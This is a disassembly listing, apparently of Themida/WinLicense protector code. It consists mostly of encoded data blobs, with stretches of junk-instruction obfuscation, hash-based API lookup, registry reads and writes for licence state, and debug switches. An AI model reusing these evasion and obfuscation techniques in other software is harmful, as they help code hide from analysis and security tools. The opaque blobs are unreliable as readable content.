		dd 0FEDAB98h, 5538145Bh, 0EF674C00h, 76Ah, 48D50B73h, 36C3395Bh
		dd 25B24C49h, 0E9B5938h, 0FA876121h, 34565E3Fh,	47422FBCh
		dd 522F1CA9h, 7A1A0794h, 634FF17Eh, 0FC7FC7A6h,	3715FD19h
		dd 0F4793622h, 891228B4h, 28B4A1CCh, 0E78C2312h, 0C6A76450h
		dd 0FE1228B4h, 0ADEBD867h, 0AEDC6A4Fh, 36A25F4Bh, 8E19FC7Fh
		dd 7D1E0BF7h, 1D0AF683h, 0AF78678h, 7D7B1989h, 741401E6h
		dd 0A5FBC478h, 583DF6CBh, 6F1E0h, 5C84FA00h, 4AA6E2CFh
		dd 39B7D0BDh, 22C0BFACh, 0EEAA895h, 0D5D7C681h,	0C1AE3BB5h
		dd 0AE9B28C6h, 998613EDh, 0CE70FDFBh, 814825E2h, 947C19FCh
		dd 856321B6h, 17D5B3A0h, 34E38E32h, 0CD323C73h,	78A139h
		dd 21C30000h, 0AC998563h, 0F48110ECh, 0B5185116h, 24641228h
		dd 92EFDCC8h, 256BAD87h, 32C92418h, 1052B64Dh, 4466E75h
		dd 15018E1Dh, 5E9F46B1h, 0EDA81345h, 0F8B780Fh,	0A6D462F1h
		dd 7E6B5743h, 67FEE31Dh, 98121BD8h, 1BB219FAh, 3256432Fh
		dd 3AB4D1BEh, 0CEDDBEABh, 0FA985C11h, 0E5D16819h, 0FA994528h
		dd 51E87F19h, 3CBAD7C4h, 63CDF57h, 6F30000h, 0F2896E82h
		dd 35228563h, 1C099856h, 0AF9B807Ch, 0B46706C3h, 0C65D1228h
		dd 0C2F9A937h, 0A28E25C3h, 344452B6h, 8696DD22h, 24283AF7h
		dd 0F15519FAh, 4300262Ch, 19FA832Ah, 0C9F039Ah,	9D42D1DEh
		dd 0C8C7906h, 0A5D563F0h, 0A2F45844h, 48D4047Ch, 83402CBBh
		dd 21CE0160h, 0F4E1CD64h, 0DFCC5997h, 725F44A2h, 5722D612h
		dd 8DFEBD22h, 5C830A8h,	0ADD10000h, 0DFB9A633h,	0EEA79421h
		dd 0F7968310h, 37F6CF9h, 9D58E5h, 8512EEACh, 72FFFD98h
		dd 5DEA0485h, 47D41070h, 71FCB9A5h, 5319FC81h, 63218D6Bh
		dd 0E8AC9985h, 0B3A08514h, 0E7774AD5h, 0F138995Fh, 3599B1F0h
		dd 5AF10600h, 0F726D175h, 29860670h, 5B55CC12h,	6B39CE07h
		dd 0FFE41C7Eh, 0AEBF7C68h, 16122979h, 0BA1DF07Fh, 3FFFFFFEh
		dd 512F6321h, 8017AE93h, 7C9D0D9Bh, 0E19FD390h,	8E2519F9h
		dd 8D077301h, 0F9E19DD0h, 48A6DF19h, 1DD3B6A3h,	1703EF86h
		dd 0F9E2135Ah, 0C0C4B119h, 1A06952Ch, 0CAF9215Dh, 270CA321h
		dd 0B7494E3Bh, 0F8FF6B28h, 2DD821CAh, 0AAE448FEh, 93B62C80h
		dd 4867DE6Dh, 95496FF4h, 1A0h, 57DB31B7h, 0D513702Bh, 0D6C259F0h
		dd 0F9E70519h, 565BBF19h, 70C73EE3h, 0D53925BCh, 21790BFh
		dd 25E1EAA7h, 432156BAh, 725EC352h, 5BEA0485h, 0D443B49Eh
		dd 0C97B27F3h, 0BB786ED4h, 0F3D43AB2h, 9B177B12h, 3F2EEBD2h
		dd 85F3D4A6h, 0D4C057EEh, 0A5C31B17h, 2D12A9FBh, 220EF39Fh
		dd 76FE0565h, 3C28BF03h, 0C6A76450h, 0B70376FDh, 76FD73FAh
		dd 15BA5103h, 8202EF7Eh, 0ACECD966h, 26B79C50h,	4C310056h
		dd 475D4h, 0E0007E00h, 0CE226653h, 0BD335441h, 0A6444330h
		dd 926E2C19h, 61534A05h, 4D3AC721h, 3A27B44Ah, 25129F59h
		dd 5AFC8967h, 82BCB16Eh, 200819FCh, 22128042h, 1070951Dh
		dd 0ED4970D4h, 0EEAB972Eh, 19FC8302h, 523F2BC2h, 0C8A56231h
		dd 0FC19FC82h, 831A5310h, 13AA19FCh, 6B58E57Ch,	0FEEBD02Eh
		dd 0AFAE629Eh, 35F6CBA1h, 408D850h, 6D110000h, 9FF9E673h
		dd 0AEE7D461h, 0B7D6C350h, 0C3BFAC39h, 0C0DD9825h, 0C552AEECh
		dd 0B23FBDD8h, 9D2AC4C5h, 8714D0B0h, 313CF9E5h,	9319FC84h
		dd 6321CDABh, 0D5B3A085h, 47453217h, 0C008D6DCh, 0FB92FB8Dh
		dd 8C6A2916h, 61903BA7h, 83705C00h, 72951C07h, 0F2EEB17Dh
		dd 0F221CC5Bh, 28DD0B6Bh, 6050C712h, 7F39CD5Eh,	0FFFFFCFDh
		dd 306321A1h, 0C4A94743h, 0B4FD702Dh, 47F1228h,	13AA41E6h
		dd 0F9DE422Eh, 4FB3DD8Dh, 0A7D361F0h, 0BE55ABECh, 6B6515D2h
		dd 725F19FAh, 0A4C98615h, 2019FA6Bh, 128EF289h,	8BC1C48Dh
		dd 0CCAA37CEh, 2E5CDC31h, 0FC22DFCBh, 0C819F9E6h, 0EAE14531h
		dd 9C4E295h, 0B79C5A39h, 95FA8920h, 124045A9h, 0F78D4684h
		dd 37C65D9Bh, 11B0097Ah, 41A0D2C2h, 0CC9A9855h,	932AC9E2h
		dd 0BA5EC2AEh, 0DE021CB7h, 0F6A432C1h, 6A2713h,	0C4D1B4E7h
		dd 6955412Dh, 0B4E6C1ACh, 0DD6C03D1h, 42FF90F0h, 0D1B4E72Bh
		dd 0DE6B0299h, 0A15593F1h, 4E945DB4h, 0EBCB4328h, 0F4000002h
		dd 0DCC9568Ah, 0CAB744B8h, 0B9A633CDh, 0A28F1CDAh, 0C07B08E0h
		dd 3DBBD7DDh, 2AC0C3B0h, 15D3B09Dh, 0FFFD9B88h,	27E4D072h
		dd 19FC8546h, 80B8967Eh, 4603EF12h, 19FC7FB4h, 0A08D7910h
		dd 8C7805E3h, 0D99BF128h, 42D108A8h, 0D5BA3455h, 93F6A8E8h
		dd 1F12C65Dh, 0C5F6CBEFh, 28C68E0h, 0E9950000h,	1B7D6AF7h
		dd 2A6B58E5h, 3B5A47D4h, 474330BDh, 3C611CA9h, 51DE1A78h
		dd 3ECB2164h, 29B63051h, 13A05C3Ch, 0A5C88571h,	1F19FC84h
		dd 36225937h, 0F1AE4849h, 1228B47Ch, 9422B148h,	5A1703E6h
		dd 19FC7FA0h, 0B4A18D24h, 9D8918D4h, 29C7C4B1h,	8DD0E044h
		dd 9773CCAAh, 4847100h,	826F5BE8h, 0CD5BEA06h, 4429E6DAh
		dd 8019FC4Eh, 0FC4085E9h, 8A5F0584h, 2D4A07F3h,	9719FC2Ah
		dd 6C2E1B00h, 2613AF94h, 9A563664h, 0BDE87603h,	0C8AD6A56h
		dd 0B519FC29h, 834B2B51h, 0A28F2902h, 0D17605E3h, 2868553Ah
		dd 5E4BE7CCh, 4935C23Eh, 77CDA05Dh, 60F719FCh, 7BA4E4D1h
		dd 8ADC08F4h, 0A455B984h, 978C0050h, 0AB977C13h, 15D2D9BEh
		dd 19FC3258h, 593ED56Ch, 5419D6C2h, 7019FC32h, 6B6D4AD9h
		dd 140BFAA5h, 0FFEB7874h, 0E7767212h, 89089AFAh, 32145916h
		dd 19B019FCh, 6F069D82h, 0D7B19E8Ah, 0C1D03419h, 2FD9993Eh
		dd 6F5CEB82h, 64F0D513h, 0E7D44AB9h, 3538F5A8h,	8F19FC9Ah
		dd 907C61F8h, 0FC999AD3h, 0FC932A19h, 0E400806Dh, 0D0286A57h
		dd 46CA0EEBh, 0D5B56C9Bh, 0E1A18E1Bh, 6E2E1B07h, 311E0392h
		dd 0C4B19650h, 58452AC6h, 77DBC03Ch, 0D258B270h, 8B389BFh
		dd 24CF7819h, 0A45C3EF5h, 8E6A2A17h, 74F9B6A2h,	5019FC09h
		dd 0E3D8F3ECh, 8118304Bh, 34210DF2h, 262FCB54h,	0BBCEE627h
		dd 19A83F24h, 6F20535Ch, 1D816DD2h, 12BFA8D7h, 0BD68F7FEh
		dd 3BB9D74Eh, 0C7A6634Fh, 0FDD26EC8h, 5D4AD766h, 0EFDCC13Fh
		dd 7C695593h, 9DD08D1Eh, 27D26EC8h, 856AF990h, 88BF6E19h
		dd 725FEC08h, 1DDC0912h, 0EFD4126Fh, 7771F458h,	41610CC9h
		dd 0CC63D26Fh, 2BB99E35h, 0C2AE9A7Fh, 6F416805h, 797714D2h
		dd 0C2AE3DD4h, 40527D05h, 23B047DAh, 0F2AFE595h, 0DA40527Bh
		dd 2F1BB249h, 141D6272h, 0E6CB62E2h, 0D05D9BF9h, 6247A5E3h
		dd 4763A9A5h, 3AB0D304h, 0CD2B6855h, 6298FBE8h,	7E1F0EB9h
		dd 81B86712h, 6B58E503h, 0DED5022Dh, 955439F1h,	9F851EA1h
		dd 0D66D0492h, 678504F1h, 0A7F29582h, 472683EAh, 13AA4104h
		dd 0A846412Eh, 20CF7AC3h, 3CEB963Fh, 779C8705h,	99945F34h
		dd 0A89522B9h, 1ED2B6E8h, 1F0BA239h, 7D7055BBh,	0F07FA402h
		dd 0CF331F0Bh, 5998F5C0h, 2C41FEBFh, 9804478Ah,	3FA7201h
		dd 1C000000h, 7D21E4C2h, 0D3B19E83h, 46433015h,	0B3D6C3A8h
		dd 2F6B583Dh, 83FFECD1h, 0F4938065h, 632411F6h,	0D9BBA88Dh
		db 23h,	3Eh, 6Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	5E34h
		mov	[esp], edx
		push	7D9Fh
		mov	[esp], edx
		mov	edx, 1F0C0E71h
		mov	ebx, 18DFC57Ah
		xor	ebx, edx
		pop	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	6352h
		mov	[esp], ebx
		pop	dword ptr [edx+8]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		db 0A9h
; ---------------------------------------------------------------------------


loc_5B39E7:				; CODE XREF: Themida_:loc_5B30FEj
		mov	eax, 7D3D33Dh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 323980F4h, 223F66F3h, 62D50A38h, 40D033D2h, 66BA3659h
		dd 186852F6h, 59E33962h, 42273D22h, 7419306Fh, 3759BD9Bh
		dd 405BBD97h, 5108831Dh, 33ABBACAh, 108EF8AFh, 3D69AD4Bh
		dd 5AD0E34h, 1C7886D3h,	15E29D4Fh, 3CAB17D1h, 14121418h
		dd 67AD45C4h, 1CDBE3E6h, 8DE9h,	0BD836000h, 7D11569h, 5840F00h
		dd 0E9000000h, 78h, 3E80006Ah, 8850F30h, 6A000000h, 35E94600h
		dd 80000000h, 850F333Eh, 8, 0E946106Ah,	24h, 0F343E80h
		dd 885h, 46306A00h, 13E9h, 353E8000h, 8850Fh, 406A0000h
		dd 2E946h, 6A0000h, 0F203E80h, 1285h, 17E8000h,	8850F00h
		dd 83000000h, 15E908C4h, 8D000000h, 0D1262185h,	4895007h
		dd 96509624h, 95FF006Ah, 7D11AA9h, 85C6C361h, 7D131B5h
		dd 0A3E4684Dh, 4818A57h, 0DDD2C424h, 0F9B5FF19h, 8D07D130h
		dd 0D13B0185h, 89D0FF07h, 0D11AA985h, 5C1EEB07h, 535C2E5Ch
		dd 454349h, 5C2E5C5Ch, 56574953h, 5C004449h, 4E5C2E5Ch
		dd 45434954h, 6AC08B00h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 9FB2C357h, 60F7B539h
		dd 0E911BD36h, 13h, 0C1E44508h,	0EC4CD568h, 3ADDD55Bh
		dd 0F1E07FF7h, 89B5111Fh, 0D11699BDh, 5BD8307h,	7D134h
		dd 0BD830975h, 7D12849h, 50197400h, 0B8C08B53h,	40Fh, 13D58589h
		dd 9D8D07D1h, 7D3E1B0h,	585BD3FFh, 2849BD83h, 740007D1h
		dd 0B8535017h, 40Fh, 13D58589h,	9D8D07D1h, 7D3DE9Fh, 585BD3FFh
		dd 59D2951h, 5A07D11Ch,	1665B533h, 0E18007D1h, 6AC08BD8h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0E23CC350h, 958BC22Fh, 7D13305h, 13E9h, 48616B00h
		dd 992FDF89h, 5F65F6C2h, 2286CCDDh, 0FF28EC2Bh,	31B585C6h
		dd 664307D1h, 2668D08Bh, 81C1C842h, 2CDA2434h, 0BD8B7D46h
		dd 7D13261h, 1CC9B5FFh,	810F07D1h, 15h,	5E8h, 5C0FF00h
		dd 5E95A84h, 55000000h,	0E758C953h, 0DDE6805Eh,	3B01858Dh
		dd 0B53107D1h, 7D125FDh, 860FD0FFh, 6, 1A6D8D8Bh, 509007D1h
		dd 90FB8B66h, 20B8BF66h, 8589006Ah, 7D114E5h, 77A10C68h
		dd 0DE40BA7Dh, 34814270h, 77A18C24h, 0D595897Dh, 107D124h
		dd 0D1338995h, 89036A07h, 0D111019Dh, 8B006A07h, 0D114C18Dh
		dd 6A036A07h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 9B4AC353h, 5B204320h, 6800Fh
		dd 0BD8B0000h, 7D12B79h, 0C60A3BBEh, 4E85Bh, 0
		dd 5250C000h, 0EE960h, 178D0000h, 1679177Eh, 0C5957259h
		dd 1E43B6D1h, 0AACBA1BBh, 310F612Bh, 5AFA8B66h,	800F5058h
		dd 9, 3870Fh, 8B660000h, 24448BCBh, 0F6BF6604h,	50008B56h
		dd 50310F52h, 0FFB8B52h, 8D0F31h, 5A000000h, 89585A58h
		dd 0E9042444h, 6, 29DB313Eh, 0F581033h,	80h, 0C59D8D00h
		dd 3107D3D4h, 0D12EAD8Dh, 27BE5007h, 89785372h,	13E8241Ch
		dd 0DB000000h, 91E844CCh, 7B8CF9FAh, 5F668441h,	17213B54h
		dd 860F5F02h, 6, 8F0Fh,	0FF5F0000h, 850F40D0h, 2A5h, 10E9h
		dd 0B2C23D00h, 5DD0D137h, 0E23E1036h, 5BCB45A9h, 8166587Ah
		dd 901F1BD6h, 14E8h, 0AC3BB100h, 9A78AAB1h, 31B470EFh
		dd 0D42C71h, 0A527F096h, 0B252509Fh, 5A310F64h,	0E9505958h
		dd 0Ah,	0A4E9C8E8h, 63188692h, 66902564h, 6A43B7BFh, 0EE900h
		dd 0E4800000h, 96A0C692h, 0AA903950h, 2724EDD1h, 0A075D468h
		dd 28E0F22h, 8B000000h,	243481F1h, 22A07554h, 2A51958Bh
		dd 36A07D1h, 2C29B52Bh,	6A07D1h, 6FCA8166h, 8B036A65h
		dd 0D12079BDh, 4E807h, 0
		dd 5051C000h, 84BF6652h, 66310FB0h, 585AF78Bh, 9E9505Ah
		dd 0FF000000h, 3A827294h, 17EDC206h, 424448Bh, 8BCF8Ah
		dd 52525060h, 8B310F5Ah, 66585AF1h, 619DA2B8h, 4244489h
		dd 0A26C97B9h, 0B5035800h, 7D124EDh, 0D4CE9D8Dh, 0E85007D3h
		db 13h,	0
word_5B3E72	dw 0			; DATA XREF: sub_58A891:loc_5A5F37o
					; sub_58A891+1BC16o
		dd 0A564E322h, 4899957Eh, 43643151h, 525B23C4h,	60BAB11Ch
		dd 61B134B6h, 1C895F61h, 6850F24h, 8B000000h, 0D1080D95h
		dd 81D0FF07h, 92A541E6h, 858D8B42h, 4007D131h, 173850Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 291609C3h, 60E48120h, 69F78DBBh, 0F58D8B20h
		dd 6107D121h, 1359BD89h, 12E907D1h, 0A2000000h,	685F3AFh
		dd 0FFBC4DBh, 0A11C2271h, 9818057Ch, 0B58B5867h, 7D125EDh
		dd 0E8B96650h, 24048923h, 8589006Ah, 7D1199Dh, 4E8h, 8000h
		dd 850F5000h, 3, 8BF98B66h, 0E8042444h,	11h, 4D63CF57h
		dd 0DC9C0ED1h, 3A17E9ADh, 0B2741379h, 8B5E49h, 2DF598BEh
		dd 24448954h, 0D8A7B904h, 81585128h, 0D21A7FCEh, 0F5036A2Fh
		dd 0D781006Ah, 3900C637h, 6A036Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 662B25C3h, 4E68D78Bh
		dd 0E8CEDD90h, 0Ch, 821D5FA5h, 89967BEBh, 71C3C0CDh, 0FAE1BE66h
		dd 2434815Fh, 0EDD904Eh, 0D99D8DF8h, 0F07D3D4h,	683h, 0C18D8900h
		dd 5007D101h, 6A241C89h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0BDF9C355h,	570F314Ah
		dd 68E0Fh, 0B5890000h, 7D116A5h, 0FFCA8B66h, 850F40D0h
		dd 2Dh,	15830Fh, 10E90000h, 2D000000h, 167FBD0Ch, 6725A117h
		dd 7D96C729h, 51E8A018h, 2ED18166h, 66585A0Ah, 0E95291B9h
		dd 10Dh, 9D88BF8h, 0D133E99Dh, 0B58B4B07h, 7D11A99h, 398D8958h
		dd 0C607D125h, 0D131B585h, 6A4307h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0BD8962C3h
		dd 7D13441h, 0F71FC168h, 14E881h, 93860000h, 97A0CDE9h
		dd 76EA3EC8h, 0EAD5962Fh, 9E9E3B5Bh, 815FBD8Bh,	2AE62404h
		dd 6A3E7Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0E3224EC3h, 0CD858950h, 5E07D100h, 1CC9B5FFh
		dd 0CE8107D1h, 7D29EB7h, 3B01858Dh, 0B52907D1h,	7D122F5h
		dd 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 6A096C3h,	0DFBD2C88h, 3491BD8Bh, 605007D1h
		dd 831B6DBBh, 61C18B54h, 8B241C89h, 0D13071BDh,	75BD8B07h
		dd 0FF07D105h, 0E5BD23D0h, 8D07D11Ch, 0D170C49Dh, 359D8907h
		dd 6607D116h, 1B8D08Bh,	8B000000h, 0D10771B5h, 8BE3FF07h
		dd 89C18BCEh, 0D12B5D95h, 29C08B07h, 0D110859Dh, 5BD8307h
		dd 7D134h, 0BD830975h, 7D12849h, 50197400h, 0B8C08B53h
		dd 40Fh, 20118589h, 9D8D07D1h, 7D3E217h, 585BD3FFh, 2849BD83h
		dd 740007D1h, 0B8535017h, 40Fh,	20118589h, 9D8D07D1h, 7D3DEB8h
		dd 585BD3FFh, 2501B58Bh, 0CB8B07D1h, 1941B589h,	0C08B07D1h
		dd 9E8h, 5272C400h, 0F537B66Dh,	0E960AA0Dh, 0Dh, 0DF81FDF7h
		dd 1684F197h, 4F7EFFBEh, 61D38BD2h, 12E95058h, 41000000h
		dd 23BCEFD6h, 59FDFF53h, 35DFEF0Fh, 761524EBh, 0C0815EC0h
		dd 6C41h, 18B18501h, 0DDBB07D1h, 6600001Ah, 388BCB8Bh
		dd 1FA19D89h, 0C78107D1h, 14077872h, 2BC58D23h,	0EF8107D1h
		dd 1FC280CFh, 0EF81D48Ah, 3A911254h, 68F0Fh, 9D890000h
		dd 7D11719h, 0E8833889h, 14E904h, 26D70000h, 0D90191D1h
		dd 0AD8B2E75h, 26D8F9EEh, 984CA1CCh, 0F4B10ABh,	1985h
		dd 0E9F28B00h, 2Ah, 92B4BB82h, 909EB5F6h, 87932459h, 0C18A4C4Bh
		dd 8D039856h, 7D117B9h,	0FFFF89E9h, 0ED6ABCFFh,	643D8DEFh
		dd 2BA2718Fh, 0AAE95E6Ch, 53000000h, 7774666Fh,	5C657261h
		dd 4C6E6957h, 6E656369h, 43006573h, 6B636568h, 58004E49h
		dd 746F7270h, 74697845h, 65684300h, 554F6B63h, 69570054h
		dd 63694C6Eh, 65736E65h, 73726556h, 6E6F69h, 4C6E6957h
		dd 6E656369h, 72446573h, 72657669h, 73726556h, 6E6F69h
		dd 4C6E6957h, 6E656369h, 6E496573h, 6E617473h, 45006563h
		dd 4F746978h, 7250006Bh, 4E49636Fh, 6F725000h, 54554F63h
		dd 69784500h, 4E4974h, 74697845h, 54554Fh, 4E497054h, 3	dup(0)
		dd 0DEB90800h, 0DFD5BB77h, 596E977h, 85890000h,	7D3DCD3h
		dd 0DCCF858Dh, 8D5007D3h, 0D3DC3985h, 1685007h,	0FF800000h
		dd 0D3DCDF95h, 0FF196A07h, 0D3DCD3B5h, 6A016A07h, 68858D00h
		dd 5007D3DCh, 0DCCFB5FFh, 95FF07D3h, 7D10285h, 0DCCFB5FFh
		dd 95FF07D3h, 7D3DCDBh,	0DCCFB5FFh, 95FF07D3h, 7D129D9h
		dd 0D38589C3h, 8D07D3DCh, 0D3DCCF85h, 858D5007h, 7D3DC39h
		dd 16850h, 95FF8000h, 7D3DCDFh,	858D046Ah, 7D3DCD3h, 6A046A50h
		dd 92858D00h, 5007D3DCh, 0DCCFB5FFh, 95FF07D3h,	7D10285h
		dd 0DCCFB5FFh, 95FF07D3h, 7D3DCDBh, 0DCCFB5FFh,	95FF07D3h
		dd 7D129D9h, 0D38589C3h, 8D07D3DCh, 0D3DCCF85h,	858D5007h
		dd 7D3DC39h, 16850h, 95FF8000h,	7D3DCDFh, 858D046Ah, 7D3DCD3h
		dd 6A046A50h, 7A858D00h, 5007D3DCh, 0DCCFB5FFh,	95FF07D3h
		dd 7D10285h, 0DCCFB5FFh, 95FF07D3h, 7D3DCDBh, 0DCCFB5FFh
		dd 95FF07D3h, 7D129D9h,	0D38589C3h, 8D07D3DCh, 0D3DCCF85h
		dd 858D5007h, 7D3DC39h,	16850h,	95FF8000h, 7D3DCDFh, 858D046Ah
		dd 7D3DCD3h, 6A046A50h,	0A5858D00h, 5007D3DCh, 0DCCFB5FFh
		dd 95FF07D3h, 7D10285h,	0DCCFB5FFh, 95FF07D3h, 7D3DCDBh
		dd 0DCCFB5FFh, 95FF07D3h, 7D129D9h, 0D38589C3h,	8D07D3DCh
		dd 0D3DCCF85h, 858D5007h, 7D3DC39h, 16850h, 95FF8000h
		dd 7D3DCDFh, 858D046Ah,	7D3DCD3h, 6A046A50h, 55858D00h
		dd 5007D3DCh, 0DCCFB5FFh, 95FF07D3h, 7D10285h, 0DCCFB5FFh
		dd 95FF07D3h, 7D3DCDBh,	0DCCFB5FFh, 95FF07D3h, 7D129D9h
		dd 21BD83C3h, 7D120h, 0B840Fh, 9D8B0000h, 7D12021h, 894CC383h
		dd 0BD83C303h, 7D12021h, 0B840F00h, 8B000000h, 0D120219Dh
		dd 50C38307h, 83C30389h, 0D12021BDh, 840F0007h,	0Bh, 20219D8Bh
		dd 0C38307D1h, 0C3038954h, 2021BD83h, 0F0007D1h, 0B84h
		dd 219D8B00h, 8307D120h, 38958C3h, 21BD83C3h, 7D120h, 0B840Fh
		dd 9D8B0000h, 7D12021h,	895CC383h, 60C3C303h, 0DCD38589h
		dd 858D07D3h, 7D3DCCFh,	39858D50h, 5007D3DCh, 168h, 0DF95FF80h
		dd 6A07D3DCh, 0D3858D04h, 5007D3DCh, 6A046Ah, 0DCCA858Dh
		dd 0FF5007D3h, 0D3DCCFB5h, 8595FF07h, 8307D102h, 0D13405BDh
		dd 840F0007h, 0Ch, 0DCCFB5FFh, 95FF07D3h, 7D3DCDBh, 0DCCFB5FFh
		dd 95FF07D3h, 7D129D9h,	8960C361h, 0D3DCD385h, 0CF858D07h
		dd 5007D3DCh, 0DC39858Dh, 685007D3h, 80000001h,	0DCDF95FFh
		dd 46A07D3h, 0DCD3858Dh, 6A5007D3h, 8D006A04h, 0D3DCAC85h
		dd 0B5FF5007h, 7D3DCCFh, 28595FFh, 0BD8307D1h, 7D13405h
		dd 0C840F00h, 0FF000000h, 0D3DCCFB5h, 0DB95FF07h, 0FF07D3DCh
		dd 0D3DCCFB5h, 0D995FF07h, 6107D129h, 858960C3h, 7D3DCD3h
		dd 0DCCF858Dh, 8D5007D3h, 0D3DC3985h, 1685007h,	0FF800000h
		dd 0D3DCDF95h, 8D046A07h, 0D3DCD385h, 46A5007h,	858D006Ah
		dd 7D3DCB3h, 0CFB5FF50h, 0FF07D3DCh, 0D1028595h, 5BD8307h
		dd 7D134h, 0C840Fh, 0B5FF0000h,	7D3DCCFh, 0DCDB95FFh, 0B5FF07D3h
		dd 7D3DCCFh, 29D995FFh,	0C36107D1h, 0D3858960h,	8D07D3DCh
		dd 0D3DCCF85h, 858D5007h, 7D3DC39h, 16850h, 95FF8000h
		dd 7D3DCDFh, 858D046Ah,	7D3DCD3h, 6A046A50h, 0BB858D00h
		dd 5007D3DCh, 0DCCFB5FFh, 95FF07D3h, 7D10285h, 3405BD83h
		dd 0F0007D1h, 0C84h, 0CFB5FF00h, 0FF07D3DCh, 0D3DCDB95h
		dd 0CFB5FF07h, 0FF07D3DCh, 0D129D995h, 60C36107h, 0DCD38589h
		dd 858D07D3h, 7D3DCCFh,	39858D50h, 5007D3DCh, 168h, 0DF95FF80h
		dd 6A07D3DCh, 0D3858D04h, 5007D3DCh, 6A046Ah, 0DCC2858Dh
		dd 0FF5007D3h, 0D3DCCFB5h, 8595FF07h, 8307D102h, 0D13405BDh
		dd 840F0007h, 0Ch, 0DCCFB5FFh, 95FF07D3h, 7D3DCDBh, 0DCCFB5FFh
		dd 95FF07D3h, 7D129D9h,	0C760C361h, 0D3DCD385h,	107h, 0CF858D00h
		dd 5007D3DCh, 0DC39858Dh, 685007D3h, 80000002h,	0DCDF95FFh
		dd 0C00B07D3h, 0F840Fh,	85C70000h, 7D3DCD3h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5B47E6
; ---------------------------------------------------------------------------
		push	4
		lea	eax, [ebp+7D3DCD3h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7D3DC4Dh]
		push	eax
		push	dword ptr [ebp+7D3DCCFh]
		call	dword ptr [ebp+7D10285h]
		or	eax, eax
		jz	loc_5B47D0
		mov	dword ptr [ebp+7D3DCD3h], 0
		jmp	loc_5B47DA
; ---------------------------------------------------------------------------


loc_5B47D0:				; CODE XREF: Themida_:005B47BBj
		mov	dword ptr [ebp+7D3DCD3h], 1


loc_5B47DA:				; CODE XREF: Themida_:005B47CBj
		push	dword ptr [ebp+7D3DCCFh]
		call	dword ptr [ebp+7D129D9h]


loc_5B47E6:				; CODE XREF: Themida_:005B4794j
		popa
		mov	eax, [ebp+7D3DCD3h]
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+7D3DCD3h],	eax
		lea	eax, [ebp+7D3DCCFh]
		push	eax
		lea	eax, [ebp+7D3DC39h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7D3DCDFh]
		push	4
		lea	eax, [ebp+7D3DCD3h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7D3DC4Dh]
		push	eax
		push	dword ptr [ebp+7D3DCCFh]
		call	dword ptr [ebp+7D10285h]
		cmp	dword ptr [ebp+7D13405h], 0
		jz	loc_5B4847
		push	dword ptr [ebp+7D3DCCFh]
		call	dword ptr [ebp+7D3DCDBh]


loc_5B4847:				; CODE XREF: Themida_:005B4835j
		push	dword ptr [ebp+7D3DCCFh]
		call	dword ptr [ebp+7D129D9h]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+7D3DCD3h],	eax
		lea	eax, [ebp+7D3DCCFh]
		push	eax
		lea	eax, [ebp+7D3DC39h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7D3DCDFh]
		push	4
		lea	eax, [ebp+7D3DCD3h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7D3DC5Fh]
		push	eax
		push	dword ptr [ebp+7D3DCCFh]
		call	dword ptr [ebp+7D10285h]
		cmp	dword ptr [ebp+7D13405h], 0
		jz	loc_5B48AE
		push	dword ptr [ebp+7D3DCCFh]
		call	dword ptr [ebp+7D3DCDBh]


loc_5B48AE:				; CODE XREF: Themida_:005B489Cj
		push	dword ptr [ebp+7D3DCCFh]
		call	dword ptr [ebp+7D129D9h]
		popa
		retn
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+7D131B5h], 52h
		push	0ADE47B07h
		push	dword ptr [ebp+7D12D09h]
		call	dword ptr [ebp+7D130DDh]
		mov	[ebp+7D3DCDFh],	eax
		mov	byte ptr [ebp+7D131B5h], 52h
		push	902E00E5h
		push	dword ptr [ebp+7D12D09h]
		call	dword ptr [ebp+7D130DDh]
		mov	[ebp+7D3DCDBh],	eax
		mov	byte ptr [ebp+7D131B5h], 52h
		push	0B9BF1235h
		push	dword ptr [ebp+7D12D09h]
		call	dword ptr [ebp+7D130DDh]
		mov	[ebp+7D10285h],	eax
		mov	byte ptr [ebp+7D131B5h], 52h
		push	98781034h
		push	dword ptr [ebp+7D12D09h]
		call	dword ptr [ebp+7D130DDh]
		mov	[ebp+7D129D9h],	eax
		mov	byte ptr [ebp+7D131B5h], 52h
		push	0C005DBD4h
		push	dword ptr [ebp+7D12D09h]
		call	dword ptr [ebp+7D130DDh]
		mov	[ebp+7D13469h],	eax
		jmp	loc_5B49F0
; ---------------------------------------------------------------------------
		db 2Fh
aBugcheck2	db 'bugcheck2',0
aBugcheck	db '/bugcheck',0
aForcerun	db '/forcerun',0
aBugcheckfull	db '/bugcheckfull',0
aShowcode	db '/showcode',0
aShowcode2	db '/showcode2',0
aClrt		db '/clrt',0
aDis1		db '/dis1',0
aShowinstance	db '/showinstance',0
aGetwlstatus	db '/getwlstatus',0
